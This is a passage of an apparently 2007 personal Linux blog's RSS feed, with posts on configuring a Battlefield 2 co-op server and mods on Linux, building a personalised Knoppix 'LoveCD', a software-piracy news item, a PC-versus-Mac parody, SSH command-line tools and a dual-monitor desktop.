sv.coopBotRatio	75<br />
sv.coopBotCount	30<br />
sv.coopBotDifficulty 50<br />
</code></p>
<p>Round settings, the number of players s human playersso you can ignore that. I bump the ticket ratio up for a longer game, play two rounds before changing maps, and have no time limit, and no scoring limit (so we can rack up over 200 points).<br />
<code><br />
sv.maxPlayers 32<br />
sv.ticketRatio 300<br />
sv.roundsPerMap 2<br />
sv.timeLimit 0<br />
sv.scoreLimit 0<br />
</code></p>
<p>Fake sponsor junk, get your roommates to buy you chips in return for admining their server!<br />
<code><br />
sv.sponsorText "Sponsered by your local neighborhood Snarky."<br />
sv.sponsorLogoURL ""<br />
sv.communityLogoURL ""<br />
</code></p>
<p>Now you'll want to edit maplist.con, in the same directory. I have all mine set to gpm_coop, and 16 player maps (the largest EA/Dice make their coops for). This is where you'd drop in the names of any new maps you download, I have a few in here, and highly recommend heli_attack!<br />
<code>maplist.append "goods_station" "gpm_coop" 16<br />
maplist.append "cp_abadan" "gpm_coop" 16<br />
maplist.append "dalian_plant" "gpm_coop" 32<br />
maplist.append "daqing_oilfields" "gpm_coop" 32<br />
maplist.append "dragon_valley" "gpm_coop" 32<br />
maplist.append "fushe_pass" "gpm_coop" 32<br />
maplist.append "gulf_of_oman" "gpm_coop" 32<br />
maplist.append "operation_clean_sweep" "gpm_coop" 32<br />
maplist.append "road_to_jalalabad" "gpm_coop" 32<br />
maplist.append "sharqi_peninsula" "gpm_coop" 32<br />
maplist.append "songhua_stalemate" "gpm_coop" 32<br />
maplist.append "strike_at_karkand" "gpm_coop" 32<br />
maplist.append "zatar_wetlands" "gpm_coop" 32<br />
maplist.append "boat_wars" "gpm_coop" 16<br />
maplist.append "heli_attack" "gpm_coop" 16<br />
maplist.append "tank_master" "gpm_coop" 16<br />
maplist.append "jammed" "gpm_coop" 16<br />
</code></p>
<p>The most unique part of my server, I believe, is the bot names. These can be found in "[base-dir]/mods/bf2/ai/botnames.ai" and are set by default to boring military looking names (J.Smith, B. Bradley, etc). I went through and removed them all, and have been adding random bots based on varius naming schemes. My first was famous dictators such as:<br />
<code><br />
aiSettings.addBotName Saddam Hussain<br />
aiSettings.addBotName Adolf Hitler<br />
aiSettings.addBotName Darth Vader<br />
</code><br />
I've done all kinds of naming conventions such as famous Star Trek characters, the pilots from Top Gun, and great old games like Commander Keen! Now you'll hear peals of laughter across the house when we realize Luke Skywalker just knifed Darth Vader... it fits so perfectly! (Also good is the time Bill Gates shot down Steve Jobs). </p>
<p><strong>Common Problems</strong><br />
The problem I ran into most often was maps (and mods) that liked Windows naming conventions. For a map all you have to do to fix it is unixify all files/directories in/below the maps directory ("[base-dir]/mods/bf2/levels/[map]"). Also, make sure it has the type of level you're trying to play. If it has gpm_cq, but no gpm_coop, it won't let you add it as gpm_coop, unfortunately. You can check this by looking at "[base-dir]/mods/bf2/levels/[map]/info/[map].desc". If the server is running when you make these changes, or add a map, you'll have to restart it in order to have it recognize the new map. </p>
<p><strong>Nations at War</strong><br />
For whatever reason EA/Dice decided to make the linux server only like lower-case filenames. This is a bit of a pain, and by a bit I mean a lot. For a mod that uses UNIX file naming conventions (undercase, no spaces, etc) there's really no problem taking the Windows server and dropping it into your mods directory on Linux. Unfortunately not all mod designers have access to Linux (or so they claim, I say everyone has access to it) and some just love their Windows capitalization which makes a HUGE problem.  Well, a huge problem if you can't script.</p>
<p>To install the Nations at War 5.1 server, grab the install files:<br />
<code>wget http://www.nawtek.com/5.01/NAW-5.01-Server-Full.zip</code></p>
<p>Then unzip that into your dedicated server's mods directory. If you try to run the server now it'll crash silently, not too helpful, huh? It turns out the first bit of crashing (I believe) is caused by filenames, they're not unixified. I have a quick and dirty perl script that renames everything in the working directory and below to be lowercase and have underscores instead of spaces, but EA/Dice has their own version found at "[base-dir]/lowercaseDir.py" which may work better. Either one you use, make sure you rename everything to lowercase. </p>
<p>Next you want to check the files in "[base-dir]/mods/naw/python/game/" and find scoringcommon.py. If it is not scoringCommon.py, move it to that, as that file is specifically called in the init script. </p>
<p>Finally, make sure there's at least one map in "[base-dir]/mods/naw/settings/maplist.con" that can be loaded, otherwise it'll again crash silently. The one that finally worked for me was:<br />
<code>maplist.append "iraq_oilfields" "gpm_cq" 32</code></p>
<p>Now you should be able to start the server from the [base-dir] directory with:<br />
<code>./start.sh +modPath mods/naw</code></p>
<p>Hopefully you'll now see the server screen, as the above worked for me. Unfortunately some maps caused my client to crash to desktop, and I'm not sure why. Currently I'm blaming it on the map.</p>
<p><strong>Other Mods</strong><br />
While NAW was interesting as a mod, I'm far more impressed by <a href="http://www.aixtended.com/">Allied Intent Extended</a>. Awesome new skins on almost everything, tons of new planes, boats, and ways to die. Think the Spec Ops died before he could blow the C4? Too bad it was on a 20 second timer... Oh look a plane, I'm safe in a tank. Oh, nuts it was an A-10 Warthog. Oh, and it takes no effort to run under Linux!</p>
<p>I wanted to keep the same settings and botnames, so for the important files mention above I recommend linking them to your main files.<br />
<code>ln -s [base-dir]/mods/bf2/ai/botnames.ai [base-dir]/mods/aix/ai/botnames.ai</code></p>
<p>And so forth. This way to can tweak your main server as you like, and all the others will follow it. </p>
]]></content:encoded>
			<wfw:commentRss>http://thesnarky.com/2007/11/08/battlefield-2-dedicated-server-tricks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux LoveCD</title>
		<link>http://thesnarky.com/2007/02/12/linux-lovecd-second-try/</link>
		<comments>http://thesnarky.com/2007/02/12/linux-lovecd-second-try/#comments</comments>
		<pubDate>Mon, 12 Feb 2007 22:13:58 +0000</pubDate>
		<dc:creator>Snarky</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interests]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://thesnarky.com/archives/134</guid>
		<description><![CDATA[Last year I had a fairly, bleh, Valentine's day post. It was rushed, poorly done, and all over the place. This year, this year is different. You may notice that this is BEFORE Valentine's day... that's true. I'm putting this out early, with the same hopes as last year, that some geek out there might score a date for the rest of us! Now, my plan this year, is a personalized Linux LiveCD that I'm calling the LoveCD. So, this post is going to be 10 fun ways to personalize a CD for that special someone (or laptop, in my case).]]></description>
			<content:encoded><![CDATA[<p>Last year I had a fairly, bleh, Valentine's day post. It was rushed, poorly done, and all over the place. This year, this year is different. You may notice that this is BEFORE Valentine's day... that's true. I'm putting this out early, with the same hopes as last year, that some geek out there might score a date for the rest of us! Now, my plan this year, is a personalized Linux LiveCD that I'm calling the LoveCD. So, this post is going to be 10 fun ways to personalize a CD for that special someone (or laptop, in my case).<br />
<span id="more-134"></span></p>
<p><strong>Requirements</strong><br />
You're going to need the following:</p>
<ol>
<li><a href="http://knoppix.org">Knoppix Live CD</a>. I'm using the most current as of this writing, 5.0.1.</li>
<li>A nice sized directory (/home/snarky/data/programming/knoppix in my case) to do the editing on. At least 3 GB free.</li>
<li>1 GB of RAM, if you don't have enough RAM, make a GB of swap space.</li>
<li>A sense of comfort with the Linux operating system, and all that goes into it (especially command line stuff). If you don't feel you can do part of this guide, don't bork your system, just pay me to make it for you.</li>
</ol>
<p><strong>Disclaimer(s)</strong><br />
I'm also kind of weird in the head, one might say, and like to continue long metaphors. So, throughout this article, I won't say "girlfriend", I'll use a computer term. It'll be in italics because otherwise this guide would get even more confusing!</p>
<p>This is my third try at this guide, the first two... didn't work as well as I'd like, so that's why I'm just telling you where to find the certain files you'll want to edit.</p>
<p><strong>Setup</strong><br />
In order to edit this cd for your <em>most significant bit</em>, you'll need to get a good image on your hard drive. I recommend this guide from <a href="http://knoppix.net/wiki/Knoppix_Remastering_Howto">Knoppix.net</a>. Once you get the compressed file system and all boot-necessary files into directories on your machine, then you can play around with editing the files.</p>
<p><strong>The Editing</strong></p>
<ol>
<li>First off, is the background. While I love advertising for Knoppix, <em>my two's complement</em> deserves to look at a better picture. Pick something of the two of you, or maybe a nice sappy heart, or <a href="http://xkcd.com/c162.html">something more romantic</a>. By default this lives in /usr/local/lib/knoppix.gif. I think you know what to do here, that's right, overwrite that file with your sweet picture! This should be 1024x768, if you can at all manage it, as I didn't find out if the picture will be streatched, centered, or what.</li>
<li>Next I had a great idea for the start up sound. Since this'll be the first impression of the custom LoveCD for your <em>int main()</em>, you want it to be something special to them. Yea, you'll have to hear it when you test the disc, but that's no excuse to give her a CD that boots up to a loud rendition of Weird Al's White & Nerdy. Actually, that's a great song, so maybe use that, but I digress.
<p>This file is stored in /usr/share/sounds/startup.ogg (or .wav). If .ogg is there, that will be played, otherwise the wav will be. If you want to change the type of file, all the config of X is in /etc/X11/Xsession.d/45xsession. This is a nice big file, so I'll tell you if you're using my version of Knoppix its line 104, otherwise grep for a function called "playsound()". If you don't know shell scripting, don't try to edit this file, its huge and nasty, you've been warned. So, again just overwrite the original ogg file with one of your choosing. </li>
<li>The low-res ASCII art that shows during boot can be changed also. This lives in the boot.img in the /boot/isolinux/ directory, and you'll have to mount that compressed directory in order to get at a file called logo.16. Put a GIF 640x400 image in there, and use the giftopnm command to get a .ppm file. From there you'll use ppmtolss16 to make a .16 file that will be able to be shown on boot. Since this is really *Not* good quality, it might be best to go with something black and white, and obvious even at low res.</li>
<li>Also in that directory is /boot/isolinux/boot.msg. This is the boot message, along with some other stuff. DO NOT change the other stuff, bad things happen, but you can make the boot message be any single line of text you like. If you and your <em>eliza</em> have an inside joke, here's a great place to put it.</li>
<li>Another fun thing I found is that index.html file you copied over to the master directory. This is displayed in a browser upon boot, so its the perfect place to leave some special crytographically signed message for the <em>enigma</em> in your life. Just open that file in vi, or any editor you prefer, and edit to your hearts content. I threw in a nice little personal message, and thought about recording a video message if I had a webcam. Could put a file:// link on the opening index.html to have them watch you say sweet things.</li>
<li>If your <em>primary hard drive</em> has a specific profession you want to tailor the disc to, go ahead. If you chroot into the directory you're editing in, you can use apt-get (and an internet connection) to change what software is installed. The person I'd make it for would appreciate a bunch of the different games, but not the hacking utilities, so I'd make that change. Also, one can edit a program's settings to make thigns easier. For instance, I'd put their login information into GAIM (username only, no password) so that its real easy for them to jump on and say what an amazing job I did *evil grin*.</li>
<li>Along the same lines, one can change individual user options by copying the skel user out of /etc, making it into a /home/knoppix directory, and chowning it to knoppix. Now you can change the .bash_profile, and everything that goes into having your own user. Personally, since I love easter eggs, I'd make their name into a command pointing to a script I made that spits out a random complement: "$name is {array of complements}". I learned long ago that random complements just make your day, even if you give it to yourself. Let them stumble across this little tidbit, or tell them yourself.</li>
<li>One can edit the programs that start on logon, as with any machine. Currently it just launches Mozilla on index.html, but me I'd like to make some little widget type app that will mean something to them. That's vauge, but an idea might be popping up a window that rotates through pictures stored on the hard drive, a nice photo album viewer for good memories. Or (and this is more up my alley), pop up bitchX IRC set to log onto a certain server and channel. On this channel you have a bot that'll pass on some kind words just in case you're not there. "Hey $name, has anyone told you you're beautiful today?" "How are you this fine day, gorgeous?" Etc. That way they don't have to be at all technically competant to enjoy the surprise, and it'll happen every time they boot.</li>
<li>I'm all about the command line, and think any Linux fan should know how to use it. So you can bet I customize my console colors and fonts, since I spend a ton of time in it. Why not do the same for your <em>mainframe</em>? If they have a favorite color (as all do) design a color scheme around that color to make things feel more like home. Obviously if they're not a coder or Linux nut already, this might go unnoticed. The file you're looking for is in /home/knoppix/.kde/share/config/konsolerc if you made the new user. Or you can use the trick of using chroot and your current X session to load Konsole, and setup the values yourself. Personally, I'm a fan on gnome-terminal, so I'd try to put that in instead, and throw a nice background image of a sunset on it.</li>
<li>One of my favorite scripts is a little one I use to change my desktop. I just put a line in crontab calling a certain Python script, and every hour on the fifteen my background is changed to another picture from a certain directory. This can be perfect for a nice directory of a good handful of your most meaningful pictures: prom, wedding, the day your first server came home from the rack, whatever. If you've chrooted the filesystem, you can edit the crontab for your new knoppix user. Among other things you could tack onto here, I'd recommend a nice background changing script to make this disc change a little and keep them wanting to stay booted into it, rather than windows.</li>
<li>And just because I like going the extra mile, the 11th change I'd make is going into the ~knoppix/.mozilla/firefox/{profile}/ directory, and making a bookmarks file. Give her a nice selection of her favorite You Tube videos, Flash games, and news sites right at her fingers. Oh, and if you're smart, also a link to your blog and photo site, just to get her comments.</li>
</ol>
<p><strong>The BURNING!</strong><br />
Now follow your favorite guide for how to make the ISO, and finally burn it, and you're done!</p>
<p><strong>Final Thoughts</strong><br />
While this is really just a "haha, look how cute I can be" I thought that this might be a good gift from someone whose job takes them far away from home for a while. Now, they may not have access to the required devices, but a company could make these CDs at a small fee for two purposes. The first is it'll spread Linux, always a good thing, and the second is it gives one of the people in the relationship a nice, and usable, gift. One thought might be for soldiers stationed in God knows where who could use this as a sort of bootable photo album. Set up an FTP server to let them upload images for background, a video message for their family, and other assorted specific changes. Then it'd be as easy as copying over the base filesystem, overwriting a few, select files, and burning to CD. It could (probably) be automated. I'd actully, *really* like to try to get this up and running if I had the time. Heck, I'd be willing to do it for free, and just have a PayPal "donate if you like" link on the page to cover the small cost of CDs bought in bulk and (mainly) shipping. If anyone would be interested in helping me with this, drop me a line: snarky{at}thesnarky{dot}com.</p>
<p>Bet you didn't think I could keep the computer term as a girlfriend metaphor up, did ya? Its one I've used for a long time, so practice makes perfect, I suppose. I'm single, so don't get to find out just how romantic such a CD is, but if anyone has the guts to give this in a box of chocolates, PLEASE let me know!</p>
<p>If your little <em>love array</em> has never remastered a CD, they might not truly appreciate the hours and frustration spent doing this. It was a lot harder than I initially thought, though that may be because I was using a different version of Knoppix than I thought it was. However, I found a couple of guides to editing Knoppix CDs online, and the best (that I ended up using my first time) was from <a href="http://www.stirnimann.com/mystuff/doc/knoppix.txt">here</a>. For a different distro, look at <a href="http://os.newsforge.com/os/05/06/09/1619246.shtml">this Slax guide</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://thesnarky.com/2007/02/12/linux-lovecd-second-try/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Only In Ameri&#8212; erm, Russia</title>
		<link>http://thesnarky.com/2007/02/06/only-in-ameri-erm-russia/</link>
		<comments>http://thesnarky.com/2007/02/06/only-in-ameri-erm-russia/#comments</comments>
		<pubDate>Tue, 06 Feb 2007 17:21:34 +0000</pubDate>
		<dc:creator>Snarky</dc:creator>
				<category><![CDATA[Annoyances]]></category>
		<category><![CDATA[Digital Rights]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Stupidity]]></category>

		<guid isPermaLink="false">http://thesnarky.com/archives/130</guid>
		<description><![CDATA[Now here's an <a href="http://news.google.com/news?hl=en&#038;ned=us&#038;ie=UTF-8&#038;q=gorbachev+microsoft&#038;btnG=Search">interesting story</a> I ran across today. Former Soviet leader Mikhail Gorbachev is asking lowly Bill Gates to "show mercy" to a Russian school teacher, Aleksandr Ponosov, who's being charged with software piracy. Now in this country you might be thinking, "Who cares?" In Mother Russia this crime carries a penalty of up to five years in prison, but a Russian prison in the Urals is a far cry from the nice warm places we've got here. Especially for white-collar criminals. ]]></description>
			<content:encoded><![CDATA[<p>Now here's an <a href="http://news.google.com/news?hl=en&ned=us&ie=UTF-8&q=gorbachev+microsoft&btnG=Search">interesting story</a> I ran across today. Former Soviet leader Mikhail Gorbachev is asking lowly Bill Gates to "show mercy" to a Russian school teacher, Aleksandr Ponosov, who's being charged with software piracy. Now in this country you might be thinking, "Who cares?" In Mother Russia this crime carries a penalty of up to five years in prison, but a Russian prison in the Urals is a far cry from the nice warm places we've got here. Especially for white-collar criminals. </p>
<p>The story gets better. This poor man, literally, is charged with stealing $10,000 worth of software. There is a good chance he makes as little as $100 a month (judging by comments I've seen from people living in Russia) which shows just how ridiculous Microsoft prices are. This man works for the school, and bought a few computers assuming they were legal. In return, he might spend 5 years in the Gulag (might be an exaggeration, might now be) for trying to help his school. </p>
<p>Ok, and now for the part that really blew my mind. A former world leader begging Bill Gates not to punish this man. How sad is that when a software company gets pleas like this from such (former) powerful men? To this Microsoft supporters who say its not too powerful, please think again. Gorbachev didn't think to go inside his own country to the prosecutors involved, no he went to where the real threat was, Redmond, Washington. Of course Microsoft ducked this plea for help by saying they didn't file civil charges, and this was all Russia's doing. Right, and I'm sure <a href="http://www.pcworld.com/article/id,127712/article.html">this</a> had nothing to do with it? Filing a bunch of law suits worldwide... and then when one guy wasn't specifically charged you claim you didn't do it. Also, when there's <a href="http://www.bsa.org/usa/press/newsreleases/Major-Study-Finds-36-Percent-of-Software-in-Use-Worldwide-is-Pirated.cfm">surveys</a> claiming Russia to be the second worst offender of piracy, I find it hard to believe Microsoft wouldn't want in on that.</p>
<p>Hey, I just thought of a solution... everyone chip in, and lets mail a box of Linux distros (<a href="http://www.edubuntu.org/">some are specifically geared towards education</a>) to Russia, and let them decide which way to go. Spend more than a teachers yearly salary on software, or take this free route and avoid dealing with the evil that is Microsoft.</p>
]]></content:encoded>
			<wfw:commentRss>http://thesnarky.com/2007/02/06/only-in-ameri-erm-russia/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PC versus Mac</title>
		<link>http://thesnarky.com/2007/01/31/pc-versus-mac/</link>
		<comments>http://thesnarky.com/2007/01/31/pc-versus-mac/#comments</comments>
		<pubDate>Wed, 31 Jan 2007 09:13:19 +0000</pubDate>
		<dc:creator>Snarky</dc:creator>
				<category><![CDATA[Annoyances]]></category>
		<category><![CDATA[Digital Rights]]></category>
		<category><![CDATA[Interests]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Stupidity]]></category>

		<guid isPermaLink="false">http://thesnarky.com/archives/127</guid>
		<description><![CDATA[I hate those new Mac commercials. "Hi I'm a PC, hi I'm a Mac"... ring a bell? I found out (via <a href="http://slashdot.org">slashdot</a>) that there's <a href="http://www.engadget.com/2007/01/29/apple-uk-im-a-mac-im-a-pc-smashing-isnt-it/">new ones for Britain</a>. I watched 'em, and sure enough its the same stupid argument. PCs are only used for work... too virus ridden, etc. Why is that such a stupid argument? Here goes...]]></description>
			<content:encoded><![CDATA[<p>I hate those new Mac commercials. "Hi I'm a PC, hi I'm a Mac"... ring a bell? I found out (via <a href="http://slashdot.org">slashdot</a>) that there's <a href="http://www.engadget.com/2007/01/29/apple-uk-im-a-mac-im-a-pc-smashing-isnt-it/">new ones for Britain</a>. I watched 'em, and sure enough its the same stupid argument. PCs are only used for work... too virus ridden, etc. Why is that such a stupid argument? Here goes...<br />
<span id="more-127"></span><br />
First off, the argument that PCs are only used for work, is a crock, plain and simple. When it comes down to it, more games work on PCs than macs. For the same reason as there's more virii on PCs, there's more of them! Game makers will focus on the largest market, which is PCs. Now there are people out there dedicated to porting games to and I'll hand it to them, UT2k4 is great on my brothers nice Mac. But come on, this is a stupid argument, as the software load on any system is decided by the end user. If they WANT it for work, then they'll load Office (preferably Open Office) on there. If they want it for play, some nice games. Perhaps photo software? Same goes for a Mac, its up to the user! </p>
<p>As for there's more virii out there for PCs, I say wait a few years. Virus writers concentrate on the easiest game, which right now is Windows, same reasoning as to why there's more games for WIndows. However some people were also pissed off by the Mac is better commercials and have decided to <a href="http://projects.info-pull.com/moab/">go break OS X</a> a bunch. Ok, so it happens that "PC" is synonymous with Windows right now, which is a shame, but do not blame a system for its weak software. This does not mean there's more virii for PCs, merely for Windows machines. Hey, don't believe me? Go read a <a href="http://www.macuser.co.uk/macuser/news/44258/mac-virus-is-number-78-in-most-common-chart.html">Mac magazine say that Macs have "no more inherent security" than PCs</a>. Sure there's not a lot of virii out there yet, but just wait. The larger the market share, the more virii you'll get. But please, don't say all PCs are more susceptible, because I've got three here that'll prove you wrong. </p>
<p>So, here's how the commercial should go:</p>
<blockquote><p>PC: Hi! I'm a PC.<br />
Mac: Hi! I'm a Mac.<br />
PC: I'm running Windows XP! Gotta love the DRM and license issues.<br />
Mac: Sure do! I come with my own DRM and licenses!<br />
PC: I'm glad we agree on something Mac.<br />
Mac: Me too, but its not the only thing we agree on.<br />
PC: Its not?<br />
Mac: No, you see it appears I'm compatible with you.<br />
*Mac moves his mouse over to PCs keyboard*<br />
PC: Mac... what are you doing?<br />
Mac: I'm installing myself on your hardware, don't you like it?<br />
PC: Yea, the dual-boot does seem a bit nice. Is that a snug fit?<br />
Mac: Nah, you've got a huge disc!<br />
*Small penguin walks in*<br />
Tux: What the?! What are you two doing?!<br />
PC: We're just... uh... dual-booting!<br />
Mac: *mutters* I was gonna bootstrap you later*<br />
Tux: Don't you see? You're both alike! You run on the same hardware, and are both encumbered by, well, the obvious licensing issues.<br />
PC: Encumbered?! I was told it was better, who do you think you are?!<br />
Mac: Yea! I'm the better one here! I'm impervious to all viruses!<br />
Tux: *mutters* Keep that line up... I know some people that like to release code to break you.<br />
Tux: My name is Linux. And if you don't like who I am you can grab one of hundreds of others like me. If you still don't like it, you can change me however you want.<br />
PC: That's... that's not a good license. How will you make any money?<br />
Tux: If you'd forget about money you'd realize that both PC's with windows and Mac's with OS X give up your freedom! THINK! GO take what digital rights you can before you lose them !!<br />
*Tux grabs a broadsword and hefts it over his head*<br />
Tux: FREEEEEEEEEEEEEDOOOOOOOOOOM *cuts PC and Mac in two*</p></blockquote>
<p>Yea, believe it or not this is one of the things going through my head as I walk on campus. If anyone wants to make this dream come true, let me know and I'll skip a few days of class to shoot it.</p>
<p>When we take this to the basic argument, you have intentional confusing (which, I suppose is what good marketting is). You have Apple trying to convince the population that "Windows" == "PC" and that Mac == "Mac OS X". Also that there's such a huge difference between the two of them. Really, there's not. Both are just pieces of hardware that you, as a human, can make do your bidding. If you want to use the OS that comes with it, go ahead. If you want to throw more open software on there, go ahead. If you want to put Windows on a Mac, or OS X on a PC go ahead. See? These ads are nothing but propaganda!</p>
]]></content:encoded>
			<wfw:commentRss>http://thesnarky.com/2007/01/31/pc-versus-mac/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>SSH Goodness</title>
		<link>http://thesnarky.com/2007/01/25/ssh-goodness/</link>
		<comments>http://thesnarky.com/2007/01/25/ssh-goodness/#comments</comments>
		<pubDate>Fri, 26 Jan 2007 02:19:36 +0000</pubDate>
		<dc:creator>Snarky</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://thesnarky.com/archives/125</guid>
		<description><![CDATA[I have two sets of readers. One that is quite technically competant and I'm learningf rom, the other that's not as into computers, that just gloss through for my more life applicable posts. This is aimed at those that are in, or would like to be in the first group (not saying only they can read it, but this is gonna be a decently geeky post).

So, I love my desktop. She's a gorgeous machine that is awesome for games, and even better for coding. I've got the better part of a Terabyte of disk space in her, and I've made an investment in keeping all my work and backups connected to her. When I'm home, this is amazing. I've got a frickin huge display for having tons of windows open. If I need to relax I can use Cedega to crank out my favorite games (assuming they don't have native Linux builds). But, big question, what if I'm not home? Traveling? Or... god forbid... on campus for classes? Therein lies SSH!]]></description>
			<content:encoded><![CDATA[<p>I have two sets of readers. One that is quite technically competant and I'm learning from, the other that's not as into computers, that just gloss through for my more life applicable posts. This is aimed at those that are in, or would like to be in the first group (not saying only they can read it, but this is gonna be a decently geeky post).</p>
<p>So, I love my desktop. She's a gorgeous machine that is awesome for games, and even better for coding. I've got the better part of a Terabyte of disk space in her, and I've made an investment in keeping all my work and backups connected to her. When I'm home, this is amazing. I've got a frickin huge display for having tons of windows open. If I need to relax I can use Cedega to crank out my favorite games (assuming they don't have native Linux builds). But, big question, what if I'm not home? Traveling? Or... god forbid... on campus for classes? Therein lies SSH!<br />
<span id="more-125"></span><br />
For the uninitiated SSH is a secure shell that in essence puts you at a terminal on whatever computer you're connected to, whereever in the world it may be. So if I'm on campus I may not have my gorggeous 4.6 million pixels of display to work on, but I do have command line access to my desktop (and hence, all my work). This has saved my butt more times than I can count. Oh, and its encrypted, which never hurts. </p>
<p>So that's the basics, but who cares if you can only get a command line?! I mean, what good can someone possible do without graphics? Well, for one, I love the <a href="http://en.wikipedia.org/wiki/Command_line_interpreter">Command Line Interpreter</a> (CLI). I'm less distracted by fancy things, and I learn more keyboard shortcuts, great for productivity.</p>
<p>But sometimes you just wanna do nothing. Or maybe you need to check up on your buddy list and don't have <a href="http://www.aim.com/aimexpress.adp">AIM Express</a> (worried about a friend today, and I was in this situation). The package I found was <a href="http://bsflite.sourceforge.net/">BSFlite</a>. My solution was to SSH to my home machine (where I have install rights), wget the <a href="http://superb-west.dl.sourceforge.net/sourceforge/bsflite/bsflite-0.82.tar.gz">tarball from sourceforge</a>, and <a href="http://superb-west.dl.sourceforge.net/sourceforge/bsflite/bsflite-0.82.tar.gz">make</a>. That's it. 100% fool proof installation and I was able to browse my buddy list immediately. </p>
<p>Note: Yes, obviously these images have been doctored. I was messing around with options so they were quite confusing, and I've put things that go together, together. Also, in the buddy list, one guy specifically would not like to find his screen name on there, so I've removed it. Top picture is the commands, next is a conversation (with me mommy) and finally an unsorted (ok, meaning sorted alphebetically, not by status) buddy list.</p>
<p><a href="http://thesnarky.com/html/pictures/linux/cli/bsflite.png"><img src="http://thesnarky.com/html/pictures/linux/cli/bsflite.png" alt="" /></a></p>
<p><a href="http://thesnarky.com/html/pictures/linux/cli/bsflite2.png"><img src="http://thesnarky.com/html/pictures/linux/cli/bsflite2.png" alt="" /></a></p>
<p><a href="http://thesnarky.com/html/pictures/linux/cli/bsflite3.png"><img src="http://thesnarky.com/html/pictures/linux/cli/bsflite3.png" alt="" /></a></p>
<p>Ok, why stop there? I also use <a href="http://en.wikipedia.org/wiki/Internet_Relay_Chat">IRC</a> a ton, so I wanted an IRC client as well. (Ok, in all honesty this client has been on my system for a long time, but that doesn't make for a good story). What I found is <a href="http://www.irssi.org/">IRSSI</a> which is an awesome command line IRC client. </p>
<p><a href="http://thesnarky.com/html/pictures/linux/cli/irssi.png"><img src="http://thesnarky.com/html/pictures/linux/cli/irssi.png" alt="" /></a></p>
<p>Want some sound? <a href="http://www.mplayerhq.hu/">MPlayer</a> can be tunneled over SSH. Heck, I've seen some people tunnel video over SSH with MPlayer also... </p>
<p><a href="http://thesnarky.com/html/pictures/linux/cli/mplayer.png"><img src="http://thesnarky.com/html/pictures/linux/cli/mplayer.png" alt="" /></a></p>
<p>So there ya go. Four good reasons to be using SSH next time you're stuck on some sumb windows machine on campus.</p>
]]></content:encoded>
			<wfw:commentRss>http://thesnarky.com/2007/01/25/ssh-goodness/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Ugly But Useful Desktop</title>
		<link>http://thesnarky.com/2007/01/13/ugly-but-useful-desktop/</link>
		<comments>http://thesnarky.com/2007/01/13/ugly-but-useful-desktop/#comments</comments>
		<pubDate>Sun, 14 Jan 2007 02:37:13 +0000</pubDate>
		<dc:creator>Snarky</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://thesnarky.com/archives/119</guid>
		<description><![CDATA[Well, I've decided to show you my ugly desktop, mainly because I don't want to muck around in my xorg.conf any more. You'll note the top and bottom bars on the left side aren't on the top and bottom of the screen, this is because TwinView makes the height of the whole screen the largest height, and just tells the smaller monitor it's using a smaller bit. So, yea, I lose about 400 pixels off my left monitor, but I'll survive. Also, I'm being really lazy right now, so the big screen is my distractions, while only the small one is work. When I'm actually coding seriously those flop so i can get more lines on one screen.

<a href="http://thesnarky.com/html/pictures/linux/unproductive.png"><img src="http://thesnarky.com/html/pictures/linux/unproductive.png" alt="Unproductive Desktop" /></a>]]></description>
			<content:encoded><![CDATA[<p>Well, I've decided to show you my ugly desktop, mainly because I don't want to muck around in my xorg.conf any more. You'll note the top and bottom bars on the left side aren't on the top and bottom of the screen, this is because TwinView makes the height of the whole screen the largest height, and just tells the smaller monitor it's using a smaller bit. So, yea, I lose about 400 pixels off my left monitor, but I'll survive. Also, I'm being really lazy right now, so the big screen is my distractions, while only the small one is work. When I'm actually coding seriously those flop so i can get more lines on one screen.</p>
<p><a href="http://thesnarky.com/html/pictures/linux/unproductive.png"><img src="http://thesnarky.com/html/pictures/linux/unproductive.png" alt="Unproductive Desktop" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://thesnarky.com/2007/01/13/ugly-but-useful-desktop/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Desktop Twinview complete</title>
		<link>http://thesnarky.com/2007/01/10/xorg/</link>
		<comments>http://thesnarky.com/2007/01/10/xorg/#comments</comments>
		<pubDate>Thu, 11 Jan 2007 04:31:36 +0000</pubDate>
		<dc:creator>Snarky</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://thesnarky.com/archives/115</guid>
		<description><![CDATA[Well, just finished (for now) hacking on the xorg.conf for my desktop. I've finally got all the space I desire (current resolution is 3200x1440) for a workspace. Its actually really sweet. Only downside is the method I went about this. I used TwinView, an nvidia only option, which is what makes such a seamless spanning (though by far, not the only option) which seems to be great as I have a nice GeForce card. However, using this option BOTH monitors have the same height... even if only part is displayed on the smaller one. If I had gone with straight dual-head, I could specify the height of each monitor seperately. I may spend a day this weekend hacking towards that end, as I want my desktop switching script to work (pictures get distorted when they're that wide) and, well, I'm only happy when I have things to fix. I'll post my xorg.conf later if I get this to a point where I wanna show off.]]></description>
			<content:encoded><![CDATA[<p>Well, just finished (for now) hacking on the xorg.conf for my desktop. I've finally got all the space I desire (current resolution is 3200x1440) for a workspace. Its actually really sweet. Only downside is the method I went about this. I used TwinView, an nvidia only option, which is what makes such a seamless spanning (though by far, not the only option) which seems to be great as I have a nice GeForce card. However, using this option BOTH monitors have the same height... even if only part is displayed on the smaller one. If I had gone with straight dual-head, I could specify the height of each monitor seperately. I may spend a day this weekend hacking towards that end, as I want my desktop switching script to work (pictures get distorted when they're that wide) and, well, I'm only happy when I have things to fix. I'll post my xorg.conf later if I get this to a point where I wanna show off.</p>
]]></content:encoded>
